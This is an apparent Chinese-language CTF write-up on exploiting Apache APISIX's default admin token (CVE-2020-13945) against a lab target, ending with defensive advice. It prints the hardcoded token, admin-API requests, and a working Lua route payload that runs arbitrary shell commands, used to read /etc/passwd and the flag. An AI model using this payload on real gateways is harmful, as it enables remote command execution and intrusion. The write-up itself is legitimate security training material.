某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

json 复制代码
{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
http 复制代码
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
http 复制代码
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json

{
    "uri": "/test",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

http 复制代码
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411

{
    "uri": "/attack",
    "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "httpbin.org:80": 1
        }
    }
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:

    GET /attack?cmd=cat /etc/passwd HTTP/1.1
    Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

发现flag位于/tmp/flag.txt

  1. 读取flag内容:

    GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
    Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

  1. 提交成功

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

http 复制代码
DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

复制代码
默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!

相关推荐
Bruce_Liuxiaowei9 小时前
跨站脚本攻击(XSS)高级绕过技术与防御方案
前端·网络安全·xss
人衣aoa21 小时前
PG靶机 - Pelican
web安全·网络安全·渗透测试·内网渗透
lingggggaaaa21 小时前
小迪安全v2023学习笔记(六十一讲)—— 持续更新中
笔记·学习·安全·web安全·网络安全·反序列化
数据爬坡ing1 天前
过程设计工具深度解析-软件工程之详细设计(补充篇)
大数据·数据结构·算法·apache·软件工程·软件构建·设计语言
运维行者_1 天前
使用Applications Manager进行 Apache Solr 监控
运维·网络·数据库·网络安全·云计算·apache·solr
Coder_Chang1 天前
hex文件结构速查
ctf
皓空揽月1 天前
php+apache+nginx 更换域名
nginx·php·apache
挨踢攻城1 天前
IT资讯 | VMware ESXi高危漏洞影响国内服务器
安全·web安全·网络安全·vmware·虚拟化技术·厦门微思网络·vmware esxi高危漏洞
菜根Sec2 天前
Sqli-labs靶场搭建及报错处理
web安全·网络安全·渗透测试·sql注入·网络安全靶场
浩浩测试一下2 天前
02高级语言逻辑结构到汇编语言之逻辑结构转换 if (...) {...} else {...} 结构
汇编·数据结构·数据库·redis·安全·网络安全·缓存